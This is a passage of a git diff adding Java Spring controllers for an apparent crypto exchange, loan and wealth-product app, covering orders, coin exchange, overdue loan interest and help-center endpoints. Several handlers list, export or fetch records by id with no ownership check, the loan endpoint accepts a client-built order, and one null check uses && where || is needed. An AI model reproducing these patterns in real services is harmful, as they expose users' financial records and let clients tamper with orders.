+ } + + + /** + * 导出币币交易订单列表 + */ + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencyOrder tCurrencyOrder) + { + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + ExcelUtil util = new ExcelUtil(TCurrencyOrder.class); + util.exportExcel(response, list, "币币交易订单数据"); + } + + /** + * 获取币币交易订单详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencyOrderService.selectTCurrencyOrderById(id)); + } + + //币币交易保存 + @RepeatSubmit(interval = 5000, message = "请求过于频繁") + @PostMapping("submit") + public AjaxResult submit(@RequestBody TCurrencyOrder tCurrencyOrder) { + TAppUser user = getAppUser(); + if(user!=null){ + TAppUserDetail userDetail = tAppUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, user.getUserId())); + if (userDetail!=null){ + Integer tradeFlag = userDetail.getTradeFlag(); + if(null!=tradeFlag){ + if(1==tradeFlag){ + if(userDetail.getTradeMessage()==null||userDetail.getTradeMessage().equals("")){ + return AjaxResult.error(MessageUtils.message("user.push.message")); + }else{ + return AjaxResult.error(userDetail.getTradeMessage()); + } + } + } + } + }else{ + return AjaxResult.error(MessageUtils.message("user.notfound")); + } + String result = tCurrencyOrderService.submitCurrencyOrder(user, tCurrencyOrder); + if("success".equals(result)){ + return AjaxResult.success(); + }else{ + return AjaxResult.error(result); + } + } + + @PostMapping("/orderHisList") + public TableDataInfo orderHisList(TCurrencyOrder tCurrencyOrder) + { + tCurrencyOrder.setUserId(getAppUser().getUserId()); + startPage(); + tCurrencyOrder.setType(1); + tCurrencyOrder.setStatus(1); + List list = tCurrencyOrderService.selectOrderList(tCurrencyOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("dealTime", Objects.nonNull(t.getDealTime())?t.getDealTime().getTime():0l); + params.put("delegateTime",Objects.nonNull(t.getDelegateTime())?t.getDelegateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java new file mode 100644 index 0000000..8b0430e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java @@ -0,0 +1,89 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 币币交易币种配置Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/api/currency/symbol") +public class TCurrencySymbolController extends ApiBaseController +{ + + @Autowired + private ITCurrencySymbolService tCurrencySymbolService; + + /** + * 查询币币交易币种配置列表 + */ + @PostMapping("/list") + public AjaxResult list(TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.getSymbolList(); + return AjaxResult.success(list); + } + + /** + * 导出币币交易币种配置列表 + */ + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + ExcelUtil util = new ExcelUtil(TCurrencySymbol.class); + util.exportExcel(response, list, "币币交易币种配置数据"); + } + + /** + * 获取币币交易币种配置详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencySymbolService.selectTCurrencySymbolById(id)); + } + + /** + * 新增币币交易币种配置 + */ + @PostMapping + public AjaxResult add(@RequestBody TCurrencySymbol tCurrencySymbol) + { + return toAjax(tCurrencySymbolService.insertTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 修改币币交易币种配置 + */ + @PutMapping + public AjaxResult edit(@RequestBody TCurrencySymbol tCurrencySymbol) + { + return toAjax(tCurrencySymbolService.updateTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 删除币币交易币种配置 + */ + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencySymbolService.deleteTCurrencySymbolByIds(ids)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java new file mode 100644 index 0000000..b0589e8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java @@ -0,0 +1,152 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.security.auth.callback.LanguageCallback; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.google.common.collect.Maps; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币种兑换记录Controller + * + * @author ruoyi + * @date 2023-07-07 + */ +@RestController +@RequestMapping("/api/texchange") +public class TExchangeCoinRecordController extends ApiBaseController +{ + @Autowired + private ITExchangeCoinRecordService tExchangeCoinRecordService; + @Autowired + private ITAppAssetService assetService; + @Resource + private ITSymbolManageService tSymbolManageService; + + @Resource + private RedisCache redisCache; + + /** + * 查询币种兑换记录列表 + */ + @PostMapping("/list") + public TableDataInfo list(TExchangeCoinRecord tExchangeCoinRecord) + { + startPage(); + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + return getDataTable(list); + } + + + @PostMapping("/export") + public void export(HttpServletResponse response, TExchangeCoinRecord tExchangeCoinRecord) + { + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + ExcelUtil util = new ExcelUtil(TExchangeCoinRecord.class); + util.exportExcel(response, list, "币种兑换记录数据"); + } + + /** + * 获取币种兑换记录详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tExchangeCoinRecordService.selectTExchangeCoinRecordById(id)); + } + + + /** + * 币种兑换 + * @return + */ + @PostMapping("/currencyExchange") + public AjaxResult currencyExchange( @RequestBody Map params){ + int i = 0; + if (StringUtils.isNotNull(params)){ + String fromSymbol = String.valueOf(params.get("fromSymbol")); + String toSymbol =String.valueOf(params.get("toSymbol")); + BigDecimal total = new BigDecimal(String.valueOf(params.get("total"))); + + BigDecimal from =fromSymbol.toLowerCase().equals("usdt")?new BigDecimal(1): redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+fromSymbol.toLowerCase()); + BigDecimal to = toSymbol.toLowerCase().equals("usdt")?new BigDecimal(1):redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+toSymbol.toLowerCase()); + if(from==null&&to==null){ + return AjaxResult.error("未匹配到三方提供的汇率! origin:{}", fromSymbol+toSymbol); + } + BigDecimal thirdRate= from.divide(to, 8, RoundingMode.DOWN); + BigDecimal multiply = total.multiply(thirdRate); + + if (StringUtils.isNotBlank(fromSymbol) && StringUtils.isNotBlank(toSymbol) && Objects.nonNull(total) && total.compareTo(BigDecimal.ZERO) > 0){ + TSymbolManage symbolManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, toSymbol)); + if (Objects.nonNull(symbolManage)){ + if (multiply.compareTo(symbolManage.getMinChargeNum())<0){ + return AjaxResult.error(symbolManage.getSymbol()+MessageUtils.message("currency.exchange_min",symbolManage.getMinChargeNum())); + } + if (multiply.compareTo(symbolManage.getMaxChargeNum())>0){ + return AjaxResult.error(symbolManage.getSymbol()+MessageUtils.message("currency.exchange_max",symbolManage.getMaxChargeNum())); + } + }else{ + return AjaxResult.error(MessageUtils.message("exchange_symbol_error_exist")); + } + TAppUser user = getAppUser(); + Map assetMap=assetService.getAssetByUserIdList(user.getUserId()); + boolean checkBalance = judgeAmount(assetMap,fromSymbol,total,user.getUserId()); + if (!checkBalance) { + return AjaxResult.error(MessageUtils.message("exchange_error")); + } + Integer submittedRecord = tExchangeCoinRecordService.countBySubmittedRecord(user.getUserId(), fromSymbol, toSymbol); + if (submittedRecord > 0) { + return AjaxResult.error(MessageUtils.message("exchange.record.exist.error")); + } + i = tExchangeCoinRecordService.insertRecord(user, params); + }else{ + return AjaxResult.error(MessageUtils.message("exchange.symbol.exist")); + } + }else{ + return AjaxResult.error(MessageUtils.message("exchange.symbol.exist")); + } + return toAjax(i); + } + + private boolean judgeAmount(Map map, String fromSymbol, BigDecimal total, Long userId) { + BigDecimal usdt = map.get(fromSymbol.toLowerCase()+userId)==null?BigDecimal.ZERO:map.get(fromSymbol.toLowerCase()+userId).getAvailableAmount(); + if(usdt.compareTo(total)>=0){ + return true; + } + return false; + } + + /** + * 获取币种的价格 + */ + @PostMapping("/getCurrencyPrice") + public AjaxResult getCurrencyPrice(String[] currency){ + return AjaxResult.success(tExchangeCoinRecordService.getCurrencyPrice(currency)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java new file mode 100644 index 0000000..e342049 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 帮助中心Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController + +@RequestMapping("/api/helpcenter") +public class THelpCenterController extends BaseController +{ + @Autowired + private ITHelpCenterService tHelpCenterService; + + /** + * 查询帮助中心列表 + */ + @PostMapping("/list") + public AjaxResult list(THelpCenter tHelpCenter, HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + tHelpCenter.setLanguage(lang); + List list = tHelpCenterService.getCenterList(tHelpCenter); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java new file mode 100644 index 0000000..2bd5c88 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java @@ -0,0 +1,51 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 帮助中心问题详情Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/api/helpCenterInfo") +public class THelpCenterInfoController extends BaseController +{ + @Autowired + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenterInfo tHelpCenterInfo) + { + startPage(); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + return getDataTable(list); + } + + /** + * 获取帮助中心问题详情详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterInfoService.selectTHelpCenterInfoById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java new file mode 100644 index 0000000..eb39b63 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java @@ -0,0 +1,48 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 规则说明Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/api/home/setter") +public class THomeSetterController extends ApiBaseController +{ + @Autowired + private ITHomeSetterService tHomeSetterService; + + @PostMapping("/list") + public AjaxResult list(THomeSetter tHomeSetter) + { + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + return AjaxResult.success(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java new file mode 100644 index 0000000..e87d67b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java @@ -0,0 +1,143 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.bussiness.service.ITLoadOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 贷款订单Controller + * + * @author ruoyi + * @date 2023-07-14 + */ +@RestController +@RequestMapping("/api/load/order") +public class TLoadOrderController extends ApiBaseController +{ + @Autowired + private ITLoadOrderService tLoadOrderService; + @Autowired + private SettingService settingService; + @Resource + private ITLoadProductService tLoadProductService; + + /** + * 查询贷款订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TLoadOrder tLoadOrder) + { + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + return getDataTable(list); + } + + /** + * 获取贷款订单详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadOrderService.selectTLoadOrderById(id)); + } + + /** + * 新增贷款订单 + */ + @PostMapping + public AjaxResult add(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.insertTLoadOrder(tLoadOrder)); + } + + /** + * 获取用户贷款订单列表 + * @param tLoadOrder + * @return + */ + @PostMapping("/orderList") + public TableDataInfo orderList(TLoadOrder tLoadOrder) + { + TAppUser user = getAppUser(); + tLoadOrder.setUserId(user.getUserId()); + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params=new HashMap<>(); + params.put("finalRepayTime", Objects.nonNull(t.getFinalRepayTime())?t.getFinalRepayTime().getTime():0l); + t.setParams(params); + }); + } + for (TLoadOrder loadOrder1:list) { + Map params = loadOrder1.getParams(); + if(Objects.isNull(loadOrder1.getFinalRepayTime())){ + continue; + } + int enddays = DateUtils.daysBetween(loadOrder1.getFinalRepayTime(), new Date()); + //逾期 + if(enddays>0){ + if (loadOrder1.getStatus() == 1) { + loadOrder1.setStatus(4); + tLoadOrderService.updateTLoadOrder(loadOrder1); + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + if(loadOrder1.getStatus()==4){ + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + params.put("date",Objects.nonNull(loadOrder1.getFinalRepayTime())?loadOrder1.getFinalRepayTime().getTime():null); + loadOrder1.setParams(params); + } + return getDataTable(list); + } + + /** + * 保存贷款订单 + * @param loadOrder + * @return + */ + @PostMapping("submit") + //type=3是USDT + public AjaxResult submit(@RequestBody TLoadOrder loadOrder) { + TAppUser user=getAppUser(); + return tLoadOrderService.saveTLoadOrder(loadOrder,user); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java new file mode 100644 index 0000000..ea93536 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java @@ -0,0 +1,68 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 借贷产品Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/api/load/product") +public class TLoadProductController extends ApiBaseController +{ + @Autowired + private ITLoadProductService tLoadProductService; + + /** + * 查询借贷产品列表 + */ + @PostMapping("/list") + public TableDataInfo list(TLoadProduct tLoadProduct) + { + startPage(); + tLoadProduct.setStatus(1l); + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + return getDataTable(list); + } + + /** + * 获取借贷产品详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadProductService.selectTLoadProductById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java new file mode 100644 index 0000000..ec0e01d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TMineFinancial; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.TranslatorUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 理财产品Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/financial") +public class TMineFinancialController extends ApiBaseController +{ + @Autowired + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财产品列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TMineFinancial tMineFinancial,HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + startPage(); + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + list.forEach(f ->{ + if (!lang.equals("zh")){ + try { + f.setTitle(TranslatorUtil.translate("zh-CN",lang,f.getTitle())); + f.setProblem(TranslatorUtil.translate("zh-CN",lang,f.getProblem())); + f.setProdectIntroduction(TranslatorUtil.translate("zh-CN",lang,f.getProdectIntroduction())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } ); + return getDataTable(list); + } + + + + /** + * 获取理财产品详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id,HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + TMineFinancial tMineFinancial = tMineFinancialService.selectTMineFinancialById(id); + try { + tMineFinancial.setTitle(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getTitle())); + tMineFinancial.setProblem(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getProblem())); + tMineFinancial.setProdectIntroduction(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getProdectIntroduction())); + } catch (Exception e) { + e.printStackTrace(); + } + return success(tMineFinancial); + } + + @ApiOperation(value = "理财产品购买") + @PostMapping("/submit") + @Transactional + public AjaxResult submit(Long planId, BigDecimal money, Long days) { + String msg = tMineFinancialService.submit(planId,money,days); + if(StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + +// @ApiOperation(value = "理财产品赎回") +// @PostMapping("/reCall") +// public AjaxResult reCall(String id) { +// String msg = tMineFinancialService.reCall(id); +// if(StringUtils.isNotBlank(msg)){ +// return AjaxResult.error(msg); +// } +// return AjaxResult.success(); +// } + + @ApiOperation(value = "个人收益类加") + @PostMapping("/personalIncome") + public AjaxResult personalIncome() { + return AjaxResult.success(tMineFinancialService.personalIncome()); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java new file mode 100644 index 0000000..4d3aab3 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java @@ -0,0 +1,80 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 理财订单Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/order") +public class TMineOrderController extends ApiBaseController +{ + @Resource + private ITMineOrderService tMineOrderService; + @Resource + private SettingService settingService; + /** + * 查询理财订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TMineOrder tMineOrder) + { + startPage(); + tMineOrder.setUserId(getStpUserId()); + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + List newList = unlist(list); + if(!CollectionUtils.isEmpty(newList)){ + newList.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTableFrom2Lists(newList,list); + } + + private List unlist(List list) { + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + if(Objects.equals(CommonEnum.ONE.getCode(), settlementSetting.getSettlementType())){ + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + tMineOrder1.setSettlementDay(settlementSetting.getSettlementDay()); + }); + }else { + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); } + return list; + } + + + /** + * 获取理财订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineOrderService.selectTMineOrderById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java new file mode 100644 index 0000000..7eddecc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java @@ -0,0 +1,128 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import 